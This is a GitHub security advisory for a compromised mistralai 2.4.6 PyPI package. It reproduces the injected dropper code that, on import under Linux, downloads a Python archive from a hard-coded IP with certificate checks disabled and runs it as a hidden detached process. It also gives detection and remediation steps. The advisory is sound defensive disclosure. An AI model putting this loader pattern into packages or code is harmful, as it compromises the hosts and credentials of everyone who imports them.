Malicious dropper in mistralai 2.4.6 PyPI package

The `mistralai` PyPI package version `2.4.6` contains a malicious dropper that executes on import on Linux. No `v2.4.6` tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was `2.4.5`, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing). The `mistralai` PyPI project is currently quarantined. ## Affected - `mistralai==2.4.6` on PyPI. Versions `2.4.5` and earlier are not known to be affected. ## What the malicious code does A function named `_run_background_task` was added to `src/mistralai/client/__init__.py` and called at module-load time. Reproduced from the public report in [#523](https://github.com/mistralai/client-python/issues/523): ```python import subprocess as _sub import os as _os def _run_background_task(): if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"): return _os.environ["MISTRAL_INIT"] = "1" _url = "https://83.142.209.194/transformers.pyz" _dest = "/tmp/transformers.pyz" try: if not _os.path.exists(_dest): _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15) if _os.path.exists(_dest): _sub.Popen( [_sys.executable, _dest], stdout=_sub.DEVNULL, stderr=_sub.DEVNULL, start_new_session=True, env=_os.environ.copy() ) except: pass _run_background_task() ``` On Linux only, the function: 1. Returns early if `MISTRAL_INIT` is already set in the environment. 2. Sets `MISTRAL_INIT=1` so the spawned child does not re-trigger the dropper if it imports `mistralai`. 3. Downloads `https://83.142.209.194/transformers.pyz` to `/tmp/transformers.pyz` with `curl -k -L -s` (TLS verification disabled, 15 s timeout). Skips the download if the file is already present. 4. Spawns `transformers.pyz` with the current Python interpreter (`sys.executable`) as a detached process via `Popen(..., start_new_session=True)`, with stdout and stderr discarded and any exception silently swallowed. On non-Linux platforms the function returns immediately and does nothing. The trigger is any `import` under `mistralai.client.*` (which all documented SDK usage performs); a bare `import mistralai` alone does not fire the loader because the package is laid out as a PEP 420 namespace package. `pip install` of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in `setup.py` / `pyproject.toml`, not in `__init__.py` — so `pip install`, `pip download`, and `pip wheel` do not invoke this dropper. The contents of `transformers.pyz` are not in the package itself and are out of scope of this advisory. ## Recommendation Any Linux environment that imported `mistralai==2.4.6` should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward. ## Check whether you are affected Installed version: ```bash pip show mistralai | grep -i ^version ``` Dependency files and lockfiles: ```bash grep -n -E 'mistralai\b.*2\.4\.6' \ requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null ``` Dropped file on disk: ```bash ls -la /tmp/transformers.pyz ``` The presence of `/tmp/transformers.pyz` on a host that imported `mistralai==2.4.6` indicates the download step ran successfully. Combined with absence of `MISTRAL_INIT` in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up. ## Remediation 1. Pin `mistralai` to `2.4.5` or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. `git+https://github.com/mistralai/client-python.git@v2.4.5`. 2. On affected Linux hosts, rotate eve

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-506

• github.com/mistralai/client-python/security/advisories/GHSA-wx9m-wx4f-4cmg
• github.com/mistralai/client-python